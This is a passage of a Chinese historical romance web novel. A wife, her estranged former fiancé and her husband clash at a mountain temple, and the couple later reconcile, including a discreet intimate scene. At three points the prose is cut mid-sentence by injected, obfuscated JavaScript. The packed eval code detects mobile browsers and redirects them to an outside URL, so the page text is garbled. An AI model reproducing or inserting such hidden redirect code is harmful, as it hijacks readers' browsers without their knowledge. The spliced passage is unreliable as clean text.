车夫勒住缰绳，雨声中高声问道：“娘子，这路实在难行，再往前怕是更走不了，不如寻个附近的地方避避雨？” 沈卿婉也瞧这雨大，不好继续走：“依你便是。” 车夫应诺，挥鞭驱马缓缓前行。 又走了约莫半里地，雨雾迷蒙中，忽然望见前方山坳里露出一角青灰瓦檐，沿小径转去，竟是一座隐在林木间的古寺。门额上“青山寺”三字虽斑驳，犹可辨认。 含香上前叩门，少顷，寺门“吱呀”开启，一面容慈和的老僧迎出。 闻知来意，老僧合十诵佛，引众人入内。 方才安置妥当，寺外又传来车马声。三四辆马车停至门前，旗幡上书“陈记药铺”四字。 寺宇深阔，若无引路，极易迷失。沈卿婉被引至西跨院厢房，此处专为香客所设，与寺中别院相隔甚远。 入夜，寺中愈静，唯闻叶声簌簌。 沈卿婉与含香同宿一室，却辗转难眠。捱了不知几更，索性披衣起身，推门步入院中。 月色如练，泻于青石之上，将老樟树影拉得颀长。她踩着碎影，徐步徘徊。 忽然，一阵笛声从院墙外传来，曲调轻快灵动，如林间雀跃的小鸟，又如山间奔流的清泉，带着几分无拘无束的洒脱，打破了夜的沉寂。 那笛声婉转悠扬，旋律听起来有几分熟悉。 恍然间，似回幼时光景——青芜院中，陶氏坐于摇椅，将她拢在怀中，唇衔柳叶，吹出同样轻快的调子。 想到此处，沈卿婉鼻头一酸，多日的愁苦全部漫上心头，仗着这周围无人看见，她才无声地落下几滴泪来。 “在下笛技虽佳，倒也不至于引得娘子垂泪罢？”一道清朗男声自上方传来。 沈卿婉一惊，忙拭去泪，凭着声音寻去，只见老樟树后方的矮墙之上，斜斜倚着一道人影。 浓密的枝叶层层叠叠，将那人遮了大半，只隐约勾勒出挺拔的身形，面容隐在阴影里，看不真切，仿佛与夜色融为一体，虚实难辨。 她纳闷自己刚才如何没能看清这墙头还有人，她轻叹了一声道：“只是闻听郎君的笛声，使我想起了母亲，一时感怀。” 墙影后的人沉默了片刻，语气稍缓：“节哀。” 沈卿婉哽了一下，正色道：“家母安在。” 隔着树影，瞧不清对方的脸色，但沈卿婉觉得对方似乎愣了愣，她主动解释：“郎君所奏之调，与幼时家母吹予我听的有几分相似，故而有些感慨。” “倒是我冒昧了。既如此，便祝令堂福寿康宁，松柏长青。” 她望着那道模糊的人影，想着她二人刚才那番奇奇怪怪的对话，不由莞尔。 墙影后的人也跟着笑了，声如清玉，透著少年明朗。 “娘子是独自前来，还是被家中长辈押著来的？” “什么？”沈卿婉有些不解地问过去。 “这青山寺在颍州，可是有名的姻缘灵验之地。” 她这才恍然——自己散髻而出，未作妇人妆束，对方大抵以为她仍是闺中女子，来此求姻。 遂轻笑：“妾身已嫁，何须再求姻缘？不过是避雨暂歇。” “谁说嫁了人，就求不着姻缘了？” 她愣了愣，接着就听对方继续道：“倘若过得不畅，断了再寻便是。” 这人惊世骇俗的言论叫她吃了一惊，没有答话。 那人又道：“不过，在下素不深信神佛。世间缘分，终是靠自己遇见。” 沈卿婉失笑，听其言谈，似有几分少年意气，料想年岁尚轻。 “郎君这般人物，家中岂未议亲？何须来寺中求缘？” 那人奇道：“娘子又未见我，怎知我貌丑与否，行止端否？” 沈卿婉略作思忖，认真答：“确是不知。敢问郎君：貌可丑否？行可猥否？” 墙头传来清朗笑声，正欲说些什么，墙那面传来呼唤，具体说了什么，她听不真切，只隐约听见“怀清”二字。 那人影倏然消散，唯余满院月华、婆娑树影，并一缕残香。沈卿婉静立原处，听风过疏梢。 薄雾掩月，树影渐隐，那丝香气亦似幻似真。方才种种，恍如一梦。 *** 清河县。 孟玦遇袭当夜，幸而清醒，当即做出应对，惊退了刺客。 虽未受伤，却知不可久留。天色甫明，即与绿松策马驰返颍州。 归家方知沈卿婉已往广和寻他。初时以为她寻不见自会折返，岂料连候两日，杳无音信。 遂带亲兵数人，沿广和方向一路寻去。 至广和询知，她确曾来过，却已离去。返程半途，见青山寺，忖度昨日大雨路泞，必往寺中避雨。 绿松眼尖，远远就瞥见寺前凉棚下停着的马车，他道：“郎君！那不是娘子的马车吗？” 众人催马近前，甫一到跟前，绿松已快步上前细看，确实是孟家养的马。 再往旁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17128404|194328||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一看，还停着两三辆马车，车上面的旗帜上写着“陈记药铺”的字样。 绿松挠了挠头，喃喃道：“陈记药铺……这名字怎么这么耳熟？” 他猛地回头望向自家郎君，心中陡然咯噔一下：这陈记药铺的东家，岂非正是娘子从前的未婚夫婿—— 雨歇云散，翌日朝晖满院。 暖金色的日光透窗而入，映在沈卿婉面上，如笼轻纱。婚后首次外宿，暂脱家规束缚，这一夜睡得格外沉酣。 含香早已起身，却不唤她。直至辰时，沈卿婉方醒，梳洗罢，便往膳堂去。 刚转过转角，便撞见一道熟悉的身影立在廊道尽头，青衫广袖。 两人一左一右，隔着数丈距离，廊下的风卷着湿气，将彼此的身影拉得有些疏离。 沈卿婉垂下眼睫，没想到会在这遇见旧人，她缓缓开口道：“陈二哥，许久不见。” “婉儿……”陈子墨语中似压着千般情绪。 “陈二哥这般唤我，与礼不合，以后还是唤我沈娘子吧。” 他比从前清瘦了些，眉宇间添了几分沉闷，却依旧是记忆中那个温润的模样。 “你……过得还好吗？” “挺好的。”沈卿婉脸上扬起一抹浅淡的笑容，语气平稳无波。 “嫁给那孟玦，你真觉欢喜？” 那一双审视的眼直看到她眼里去，她微微偏开视线，又重复了一遍：“我过得很好。” 陈子墨道：“阿妍来信，俱已告知。伯母病重，需血参救命，沈家无力，孟家亦不肯出。令你奔波求药——这般境况，何谈‘很好’？” 沈卿婉身子一僵，这样直白地揭露，让她颇有几分难堪。 她捋了捋鬓角未乱的碎发，轻声道：“那本就是我的小娘，我奔波求药也是应当的，与孟玦无关，更与孟家无关。” “可他既是你夫君！”陈子墨切声道，上前一步，“若真将你放在心上，自会悉心照料伯母，何至于无药可用？何况伯母此病，本就因他而起！” 陈子墨在她惊诧的眼神中继续说道：“若不是他不信任你，那些流言蜚语怎会传到伯母耳中？伯母又何至于急火攻心，生这一场大病？” 沈卿婉隔了好些时候都没开口。 廊下一时静极，只闻风过廊道，不留痕迹。 陈子墨放软了声音，眼中尽是痛惜：“若换作是我，必不令你受屈，亦不会让伯母伤心。伯母所需之药，纵倾尽所有，亦会为你寻来。 “此次本欲归家，因闻此事，特转道广和寻觅血参。三四日路程紧赶而来，本拟稍歇即行，不意在此相逢……” 沈卿婉闻言，指尖发颤，要说心里没有触动便是假的。 只是……错过了便是错过了。 沈卿婉闭了闭眼，再睁开时，眼底已恢复了平静，她轻轻打断他：“陈二哥，我小娘已经有了血参，劳你费心了。” 她又看了他一眼：“你是很好的人，我不值得你这般挂怀。当觅良缘，另聘淑女。” 陈子墨摇了摇头，一步步走近，眼中唯有她的身影：“我心唯你，从前是，今后亦是。孟玦心性冷薄，不堪为夫。他不爱你，亦待你不好，何苦留在他身边受尽委屈？随我走罢，婉儿，我们携伯母同往江南……” “敢问陈郎君——欲将吾妻带往何处？” 一道冷冽如冰的声音骤然响起，打破了廊下的凝滞。 沈卿婉心头剧震，蓦然回首。 只见孟玦携绿松立于廊道彼端，玄色衣袍犹带风尘，眉间凝霜，目似寒星。 22. 青山寺论红尘事 暖融融的日光斜斜地倾入古寺，将寺内映得一半明一半暗，光与影的界限在逐渐模糊。 有僧人诵经，梵音阵阵；有香客上香，香烟袅袅，有眺望远处，山岚渺渺。 在这祥和的宁静中，方丈身披一袭半旧的褐色僧袍，步履从容，正沿回廊徐行。身侧随着一位锦袍郎君，约莫弱冠年纪，眉目清朗，顾盼间自有洒脱之气。 两人并行闲谈，忽闻廊下一阵急促的脚步声，小沙弥神色慌张地奔来，双手合十，躬身道：“方丈，不好了！” 方丈道：“何事惊慌？” 小沙弥喘着气回话：“是常来寺里上香的陈家二郎君，还有一位今早来的香客，二人正为了昨日避雨的女施主，发生了争吵。 “因是感情俗事，小僧等不好劝诫，又恐扰了佛门清净，特请方丈前去。” 那袍郎君听罢，眉梢一扬，眼底掠过几分兴味：“哦？二男争一女——这等戏文里的桥段，竟真在眼前演上了？倒是有趣得紧。”言罢唇角含笑，俨然一副闲看热闹的模样。 方丈轻捻腕间佛珠，缓声道：“寺虽在山中，亦在红尘。贪嗔痴爱，原是人之常情。” 他侧目看向身侧少年，目光澄明：“季郎君灵慧通透，性情不羁。今日看他人是戏，他日安知不为戏中人？” “方丈说笑了。”少年朗声一笑，言语间带着少年人特有的笃定与轻狂，“晚辈此生，断不会为儿女情长所缚。任她何等仙姿玉质、倾国倾城，也难乱我方寸。” 方丈只是淡淡颔首，指尖捻着佛珠，缓声道：“情之一字，入骨侵髓，非年少轻狂时可料。待他日因缘际会，情根深种，郎君或许便不再作此想了。” “绝无可能——”少年话音未落，却见一小婢匆匆而来，向他低语几句。他面露憾色，向方丈拱手道：“可惜这出热闹看不成了。寺中既有俗扰，方丈且去料理，晚辈先行一步。” 说罢转身而去，衣袂翩然，背影里尽是未历风霜的洒然。 彼时的少年郎还太年轻。 他绝想不到，将来竟有一日，在大雄宝殿之内，金容垂目，莲座承光。他会跪在蒲团之上，虔诚地恳求诸天神佛，求他所爱之人倾心于他。 *** “嗡……”一声浑圆厚重的钟声，从钟楼沉沉地压下来，仿佛把空气都荡得一滞。余音绵长，一下一下，似敲在沈卿婉心坎上。 她僵立在廊下，看着眼前景象，心头乱麻缠结——怎会这般巧？ 孟玦面色如霜，目光扫过她，又落向一旁的陈子墨。三人默然僵持片刻，孟玦举步欲前，袖口却忽地一紧。 他垂眸，见妻子素手轻攥他袖缘，指尖微微发颤。她低着眼，长睫如敛翅的蝶，始终不敢迎他的视线。 孟玦心头蓦地一涩，那滋味复杂难言，似恼似恸，又掺杂着些说不清道不明的窒闷。 “陈二哥，你快走吧。”沈卿婉背对着陈子墨道。 陈子墨却像是没听见，径直迈步走到孟玦面前，拱手一揖：“孟官人，久仰大名。” 孟玦颔首回礼，语气平淡：“拙荆唤郎君一声二哥，按礼孟某也该尊称。只是不知，郎君与岳丈家是亲是故？” 陈子墨轻笑一声：““纵与沈家有旧，也当不起孟官人这声‘二哥’。不过与婉儿自幼相识，年长她几岁，家中行二，故她唤惯了罢了。” 婉儿？这是她的小名吗？ 孟玦指腹在袖底轻轻摩挲。成婚这些时日，他竟不知妻子有此小名——而今第一次听闻，却是从旁人口中。 他面色未改，只淡淡道：“陈郎君与内人的旧谊，孟某今日方知。只是岁月流转，人事各有归宿。孟某与婉儿三书六聘，拜天地、谒宗祠，是名正言顺的夫妻。” 他抬眼，目光直抵陈子墨眼底，带着几分冷意：“陈郎君往后再唤他人妻子的闺名，恐于礼不合。” 陈子墨面色一白，随即扬声道：“你既知她是你的妻子，又可曾尽过为夫之责？冷漠相待，疑忌丛生……孟官人，你扪心自问，可曾真心待她好？又可曾……真心爱她？” 沈卿婉闻言，脸上血色倏然褪尽。 她飞快地瞥了孟玦一眼，旋即转身，背对陈子墨，声音低而微颤：“够了……此乃我的家事，不劳……不劳陈郎君费心。” 她改了称呼，一声郎君，彻底划清二人界限。 陈子墨脸上一僵，勉强笑着道：“婉儿……我是为你好……” 孟玦冷哼一声，正欲开口，却见青山寺方丈匆匆赶来。 老僧眉目慈和，语气平宁：“佛门清净地，宜修心自持。诸位施主若心有滞碍，可往北侧厢房静处叙话。在此高声争执，既扰佛祖清听，亦乱自家心神，更违我佛‘无争无嗔’之诫。” 他目光缓缓扫过三人，又道：“纵换去处，若心结不解，不过徒增烦恼。何不平心静气，各归其位？” 孟玦等人先是向方丈行礼，而后道：“打扰主持清修，真是我等罪过。并无争论之要，不过叙说一二，正准备告辞离寺。” 他转而看向陈子墨，语调渐沉：“陈郎君，国有国法，家有家规。 “按《大夏律》户律规定，无故纠缠良家妇女者，杖六十；若涉及官员家眷，罪加一等，更有‘诱拐官眷’之嫌，轻则流放，重则累及亲族。陈郎君出身书香门第，当知轻重。” 字字清晰，句句如刃。 这番话说得说得陈子墨面色由红转白，再由白转青。刚才一腔的热血仿佛被一盆冷水浇得透彻—— 跟在孟玦身后的绿松瞧见这一幕，恨不得拍手叫好，他不禁暗暗得意道：我家连中三元的状元，论辩才朝中罕有匹敌，何况一介白衣？ 他适时上前：“郎君，娘子，既已无事，便早些回府罢。老夫人连日记挂，怕已等得心焦了。” 孟玦一行人出了寺门，却见那陈子墨呆愣愣地跟在后面，绿松翻了个白眼，这家伙怎么这么阴魂不散？ “这位郎君，莫不是眼睛不好，你家的马车在那边。”，绿松没好气地指着另一边。 陈子墨恍若未闻，目光只痴痴锁在沈卿婉身上。 沈卿婉心下一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17145586|194328||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 叹，想要出声劝那痴儿，却被孟玦拉住，听着他道：“你口口声声说爱她，为她好。 “可你今日之举，不过是为了夺回你眼中‘本该属于你的东西’，是为了你的不甘心。 “你若真为她着想，便该想到，今日之事闹大，她一个妇道人家，日后如何在城中立足？如何面对她的夫家和娘家？ “你逞一时意气，做了一回‘情深义重’的旧人，却将她置于众口铄金之境——这便是你所谓的‘爱’？” 这番话如当头棒喝，击得陈子墨踉跄半步，嘴唇嗫嚅了几下，终究没能说出一个字。 他颓然垂首，良久方哑声道：“今日……皆是我一人之过，与沈娘子无干。孟官人，所有罪责我一力承担，万望……勿要迁怒于她。” 孟玦冷哼一声：“她是我的妻子，我为何要为外人迁怒于她？” 他左一个外人，又一个旁人，说得陈子墨脸色越发难看。 孟玦说完了这话，不再多看陈子墨一眼，只将沈卿婉微凉的手握紧了些，转身朝马车走去：“我们回家。” 微风拂过寺前古柏，飒飒有声。沈卿婉随他走着，悄悄抬眸看向丈夫冷峻的侧脸，心潮翻涌。 而身后，陈子墨独立寺前，身影萧索。 *** 归途一路，车马寂寂，夫妻二人未交一语。 至孟府，同往孟老夫人处问安，陪侍用膳，又稍坐片刻。沈卿婉见孟玦尚无离去之意，便先起身告退。 临去时，她悄悄望了一眼那背身而坐的身影，心中诸多言语辗转喉间，终是碍于场合，只得默默离去。 她在游廊上惶惶漫步，含香紧随其后，亦是眉锁愁云，忧形于色。 回来的这一路上，主君虽未出声，然周身气息沉郁迫人，任谁皆能觉出他心绪不佳。 含香心里十分的不安，主君与娘子情分本就淡薄，经此一遭，恐更见支离。但她一个下人，既问不了孟玦，也劝不了沈卿婉，只能干着急。 含香的担忧也正是沈卿婉所担忧的，这一晚，她辗转难眠，脑海里反复回放着那日的种种，一会儿是孟玦复杂的目光，一会儿是孟玦说的话。 她不知孟玦心中如何作想，更不知他如何看待自己。思绪纷乱如麻，直至后半夜才勉强合眼，却梦浅眠轻，恍惚难安。 天刚蒙蒙亮，她还沉浸在混沌的睡意中，就被门外急促的呼喊声惊醒：“娘子！不好了！不好了！” 是含香的声音—— 沈卿婉揉着惺忪的睡眼，坐起身，嗓音还带着刚睡醒的沙哑：“慌什么？慢慢说，出了何事？” 含香跑到床边，脸色发白，喘着粗气道：“是、是主君！主君他一大早就去沈家了！不知道要做什么！” “沈家？”沈卿婉的心猛地一沉，朦胧的睡意瞬间消散得无影无踪，一双眼睁得滚圆，浑身的血液仿佛都凝固了。 她下意识地想起那日马车上孟玦冰冷的神色，想起陈子墨的突然出现，一个可怕的念头瞬间占据了她的脑海。 莫不是……他要和离？ 23. 夫妻夜谈周公礼 沈卿婉哪里还顾得细思，一味地认准了是孟玦误会她与陈子墨相见，心中生了芥蒂。 故而才这般一声不响便直奔沈家。 这么一想，心口像是被什么东西狠狠攥住，又闷又疼，带着一丝难以言喻的恐慌。 她下意识地抗拒心中预设的这种情况发生，满脑子只有一个念头——不能让孟玦这么做！ 他若是真的去沈家提和离，那小娘要怎么办？ 小娘病体方有起色，若闻此事……她不敢深想。况且自她嫁入孟家，小娘的日子才略见宽裕；若与孟家断了干系，岂非一切打回原形？ 只怕比从前更不如。 “快，含香，去打水洗漱！”沈卿婉语速极快，手脚并用地掀开锦被，“我要立刻回沈家！” 含香也不敢耽搁，连忙转身去备水。 沈卿婉匆匆套上裙衫，青丝也只胡乱绾了个髻，连珠钗也忘了簪，便提着裙裾急急往外赶。 一路上连声催着车夫快些、再快些，恨不能追上孟玦的车驾。 马车疾驰，沈卿婉的心始终悬在嗓子眼，指尖因为过度紧张而微微发颤。 她一遍遍地在心里祈祷，希望一切还来得及，盼孟玦能念及一丝夫妻情分，莫要做得太绝。 *** 待马车停在沈府门前，孟玦的车驾早已静候一旁，不知停了多久。 沈卿婉立在角门处，一时竟有些茫然——里头如今是何光景？她连想也不敢想。 门子见她踌躇半天，没有进门的意思，奇怪道：“姑奶奶，姑爷都已经进去许久了，你不进去吗？” 她勉强扯出一丝笑，抬脚跨过门槛。一路行来，见府中下人神色如常，心下稍定，缓步往正厅去。 厅内，沈阶端坐上首，嫡母贾氏陪坐一旁，二人面色平和，语声温缓，不见半分异色。 坐于下首的孟玦见她进来，目光落向她，唇边浮起一抹温和笑意，示意她坐到自己身侧。 沈卿婉眸中掠过一丝惊疑，随即敛去。先向父亲与嫡母行了礼，心中却暗自揣度：他这般态度……与自己所想全然不同，莫非是她多心了？ 可他昨日分明那般冷淡，今晨不告而往，若非和离，又是为何？ 按下心头纷乱，她依言落座。 只听孟玦对沈阶道：“岳丈，小婿今日前来，一则为向二老表明，我与婉儿夫妻和睦，情深意笃，绝非外界传言那般不堪。” 他略顿，目光扫过沈阶与贾氏，续道：“二则想问，此番我府中私事竟传至沈家，闹得沸沸扬扬，以至婉儿生母大病，实有失体统。 “孟府管教不严，我自会严查重惩。只是沈府这边，也烦请岳丈一并彻查，揪出那起搬弄口舌之人，杜绝此类流言再生，以免污了婉儿清誉。” 沈阶忙赔笑道：“贤婿所言极是！都怪老夫治家无方，竟容此等流言入府，实在惭愧！待找出那嚼舌根的，定当严惩不贷！” 说着，眼风暗暗扫向贾氏。 贾氏立刻会意，顺着沈阶的话道：“都是我的不是，平日里太过纵容下人，才让他们生出多嘴多舌的毛病。 “贤婿放心，不出三日定会寻出那罪魁祸首，以正家风，绝不让此类事情再发生！” 孟玦微微颔首，淡淡道：“如此便好。” 沈卿婉坐在一旁，听着他们的对话，忍不住频频侧目看向孟玦，她是真的没想到孟玦来沈家竟是为她撑腰。 她从未奢望那种轰轰烈烈的感情，眼前这一点细水流长的暖意，使得她那不安的心，得到了暂且的将息。 她还未咂摸出意味，又听孟玦言欲探望陶氏。 沈卿婉不愿他去青芜院。 那里藏着她过往种种，她不想让他看见她的不堪。遂轻声道：“夫君，小娘毕竟是妾室，妾同仆隶。你若以拜见岳母之名往访，于礼不合；若只作寻常探看，亦不妥当。” 孟玦看出她不愿，也不勉强，只道日后有机会再探望。 沈卿婉见他改了口，暗暗松了口气。 孟玦尚有公务在身，此来既为澄清流言，事毕便起身告辞。 临行时，对欲一同离去的沈卿婉温言道：“夫人既已回来，家中无事，不妨在此用过膳再回。”又转头向绿松低语几句。 他转头对身旁的随身侍从绿松低语几句。 绿松即刻上前，手捧一锦盒，恭敬奉上：“娘子，此乃郎君特为陶娘子备下的补品，请您收下。” 含香上前接过，打开一看，惊呼一声，引得沈卿婉也抹过头去看，观其形貌，皆有五年以上参龄。 经此一事，她方知此物珍贵，价值不菲。 她诧异地回望着他，下意识便想拒绝，这东西太昂贵了。可……小娘身子不好，万一哪天又需要，还可以有备无患。 沈卿婉略略一思忖，终是收下，心中五味杂陈。 她抬头看向孟玦，用探究的眼光在他脸上滚了两转。这一刻，她忽然觉得，自己似乎从未真正了解过这个名义上的夫君。 千言万语，终化作一句干涩的：“多谢夫君。” “你我夫妻，何必言谢。” 她目送他背影远去，心中疑云缭绕。 今日他在沈家，从容不迫地为她撑腰，以无形官威压得父亲与嫡母连连认错，只为维护她的名声。 他还惦记着她的生母，特备下贵重补品，虽未亲见，却给足了体面。 这些事，她竟不敢信是孟玦所为。他素来清冷孤高，不屑以权压人，更不会为谁这般“小题大做”。 可他偏偏为她做了，做得那般自然，那般坦荡。 也许…… 一个念头如同破土而出的嫩芽，在她心底悄悄冒了头。 她陪陶氏用了午膳，留下血参，又再三宽慰，说自己与孟玦感情甚笃，让她勿要挂心，好生养病。 絮语一番，方辞归孟府。 晚膳时，她与孟玦同席，心中总想着日间种种，神思不属。面前肴馔几乎未动，目光却总不自觉飘向身旁之人。 膳后，她独坐临窗罗汉床上出神。忽闻院外步履声近，伴着含香等人恭敬的唤声：“郎君。” 沈卿婉心下一动，起身相迎，只见孟玦迈步入内，身后随着几名小厮，搬着铺盖被褥并书房常用物件。 “夫君？你这是……”沈卿婉茫然望他。 红袖已指挥着小厮安置物件，又与含香一同铺展衾枕，窸窣声响将她细微的疑问掩了下去。 她不好再问出声，35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17157771|194328||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 待一切收拾妥当，小厮与红袖等人退了出去。 孟玦坐于榻边，手轻按锦被，对她道：“在书房睡不安稳，许是惯在此处歇息了。今日搬回来，可会扰了夫人？” 嗓音低沉，入耳别有一番意味。 沈卿婉愈发看不透他了。 她听见自己的声音，极轻极轻地回道：“自然不会。书房偏远，起居不便。搬回来，做事情也方便一点。” “做事情也方便一点……”孟玦重复着她最后一句话，变了语调，那意思也跟着变了味，她听见他问：“做什么事情？” 沈卿婉懵然答：“自是饮食起居，给母亲请安一类……” 抬眸对上他的眼，却见其中意味深长。她蛾眉轻蹙，倏然明悟他话中玄机，颊上顿时飞红。 她微微偏过脸，心中暗嗔他不正经。 可转念想起这两日种种，他此刻搬回，又与她说这般言语，教她不得不多想。 天下男子，哪有真不在意妻子与旁人有牵扯的？纵无情爱，亦不容旁人染指。 她暗自思量：莫非他是等着自己坦明，就是他之前所言的“坦诚相待”。 她犹豫了片刻，咬了咬唇，像是下定了某种决心，抬眸看向他，轻声说道：“夫君，有件事，我想跟你说清楚。” 孟玦微微颔首：“你说。” “我与陈二郎，”沈卿婉斟酌着词句，避开了那些不堪的过往，只捡了关键的说，“当年父亲本想将我许配给他人，可我知道那并非良配，不愿从命。 “便恳求他帮忙，假意有过婚约，好推掉那门亲事。我与他之间，并无半分男女之情，以前没有，往后也绝不会有。 “那日他忽然而至，实属意外。我……不愿夫君误会。他所说的许多话，亦是妄言，望夫君莫要放在心上。” 她说完，紧张地看着孟玦，生怕他不信，生怕他因此不悦，生怕他追问细节。 可出乎她意料的是，孟玦听完后，只是点了点头，语气平和地说道：“夫人愿坦诚相告，我心甚慰。” 他轻拍身旁位置，示意她近前。 沈卿婉依言坐下，悄悄打量他。他虽语气温和，面色如常，可眼眸深处却似幽潭，望不见底。只一对视，便教她无端心慌。 他将手搭在她的手背上，指尖带着微凉的温度，触碰到她肌肤的那一刻，沈卿婉像被电流击中一般，浑身一僵，下意识地想要抽开，却被他轻轻按住了。 “陈郎君其实有一句话说的没错……”，他没头没尾地冒了一句，他的语调让人摸不都情绪。 她不解地问道：“哪一句？” 她问这话的时候，才有点发觉，孟玦不知什么时候向她靠了一点，将原来那一点距离给挤掉了，他挨着她。 他身上带着那么一点微凉的气息慢悠悠地往她身上钻。 他用他那略带沙哑的喉咙低低说道：“我这个做丈夫的确有许多不周到之处……” 她的下颌被他捏住，他用指腹擦过她的嘴唇，他的指腹因为常年握笔的原因，有些粗糙，按在她的唇上有一点痒。 她无意识溢出一声轻嘤。 他的喉结微微滚动了一下，继续道：“比如说，没有与夫人履行夫妻义务。” 24. 日久生情难自明 那句话落下的瞬间，便见孟玦整个人倾了过来。他的目光紧紧锁在她脸上，像幽深的潭水，将人溺进去。 她被那目光看得有些不自在，微微侧过脸去。 他不许，指尖托起她的下颌，教她正对着自己。他使了一点力气，教她不能避开。只听他用极低极涩的嗓音问道：“怕什么？” 这一刻，二人挨得极近，连呼吸都交缠在一处。 骨节分明的手探向帐边，将那系得松松垮垮的床幔带子轻轻一抽。淡紫色的帐幔如一朵缓缓绽放的紫罗兰，无声舒展开来，将满室烛光与月色都滤成朦胧的暗影，恍若林间幽微的萤火。 一切都暗了下来。 她隐约猜到将要发生什么，却不敢抬眼瞧他的神色，也不敢动作。 明明二人早已有过夫妻之实。可那一夜，他醉了酒，她懵懵懂懂，细细想来，她仍如一个未经人事的新妇，青涩而无措。 他伸手去触她颈后的嫩肉，那块肌肤很敏感，指尖方触，她便觉一阵酥麻顺着脊背攀上来，激起细细的颤栗。她还未来得及出声，那只手已悄然下移，顺着她的脊线，一节一节，缓缓抚过。 她像他掌中的一张弓，随他的动作，寸寸绷紧。 他显然察觉到了，却似故意捉弄，那手总不安分，在她身上游走流连，惹得她有怨难言。 她终于绷不住了，索性倒在榻上，阖了眼，任他施为。 失了视觉，触觉便格外敏锐。她觉出温热的气息一寸寸压下来，他似乎在俯身看她。 她长长的睫毛轻轻颤着，两颊绯红如染。 与第一夜的迷乱不同，这一夜她清醒得很。每一个动作，每一道呼吸，都极为清晰。 她觉得自己像是一片叶子，身下的锦缎像是滑溜溜的大海，她在上面打着转。 水波渐起，涌成涛浪，一重接着一重，似要将她卷至深不见底的海渊。 她蹙着眉，紧紧攥住锦被，心中忽生几分懊悔。她原以为孟玦只是温吞的溪流，待上了船，才发觉那沉在水底的情绪，正借着这场风浪，无声翻涌。 他似乎藏着一股压抑的怒意，也许连他自己都未曾察觉。借着这一场情事，无声地宣泄出来。 不知在海上漂泊了多久，浪终于止息。 四下一片岑寂。她累得睁不开眼，只觉一只温热的手，轻轻替她拨开额前湿漉的碎发，又俯身在她耳畔低低说着什么。 可她太倦了，一个字也未听清。 *** 经此一夜，二人相处逐渐融洽，不复往日那般疏离。只是那些未决的误会则如蛰伏的凶兽，不知什么时候就会亮出尖牙。 转眼夏至，空气中浮动着恼人的暑意，无孔不入地钻进厢房。连夜晚也染了这燥热，清冷的月光浸在闷热的夜气里，竟也带了份暖意，融融地照着檐外青翠的枝梢。 一截绿枝悠悠然地从窗棂伸进屋中，窗边设一架雕漆罗汉床，沈卿婉正坐于其上，手中拈着一块鸦青色的锦缎。 这料子她早想给孟玦裁一身衣裳，只是一直未寻着合适的时机。她转头瞥了一眼榻上看书的孟玦，缓缓起身走了过去。 孟玦正品读着《片玉词》，余光见她往自己这边来，抬头与她对视一眼，还未等她开口，便会意地将书籍放好，起身站到一旁。 沈卿婉指尖捏着软尺上前，软尺绕过他的腰际时，温热的触感自指腹传来，她指尖微微一颤，抿了抿唇，敛神屏息。 量至袖口时，她的指尖不经意与他垂落的手轻轻一碰。那一触如滚水，烫得她心头一跳，手上的动作便有些不稳，耳根悄悄漫上一层绯色。 自那一夜以后，面对这人，她总是不自觉想到别处，面上却不敢显露分毫。匆匆量罢几处尺寸，便攥着软尺与布料转身，逃也似的坐回不远处的罗汉床上。 她偷偷觑了孟玦一眼，见他神色如常，似乎并未察觉她的失态，这才暗暗松了口气。将布料铺在膝上，拈起针线，垂首忙活起来。 绣针在缎面上穿梭几下，她忽想起一事，开口道：“今日季府递了帖子来，说这月十五邀咱们去沁芳园赏花。” 颍州季家乃大夏望族，去岁新修的沁芳园，闻说景致极妙，奇花异草不可胜数。沈卿婉素爱花木，往昔位卑人微，从无人家邀她；如今她已是转运使夫人，但凡热闹场合，总少不了她一份帖子。 孟玦听出她的兴头，头也不抬地回道：“既想去，便请个师傅来，给你和绾儿各做几身新衣。” 沈卿婉手中绣针一顿：“我箱笼里还有衣裳，够穿的。给妹妹做几身便是。”她生性不喜张扬，更不愿铺张。 孟玦未再多言，仿佛方才那话只是随口一提。 次日，孟玦往官署去了。沈卿婉去瑞和堂请过安，才回院中，管家便进来回话，说府门前来了两位成衣铺的匠人，是上门量体裁衣的。 她愣了愣，旋即明白是孟玦所为。 含香笑道：“郎君既有这番心意，娘子就别推了。正好做几身新衫子，出门穿也体面。” 如此，沈卿婉便让管家将人请进来，挑了料子，量了尺寸。 到了赏花宴当日，天朗气清，惠风和畅。 沈卿婉换上了新做的那件烟霞色织金罗衣，湖蓝色暗花绫裙。 乌发绾了一个盘桓髻，簪了一支映彩宝相花簪，随着步履移动，日光下流光溢彩，衬得她肌肤胜雪，眉眼间添了几分娇俏明艳。 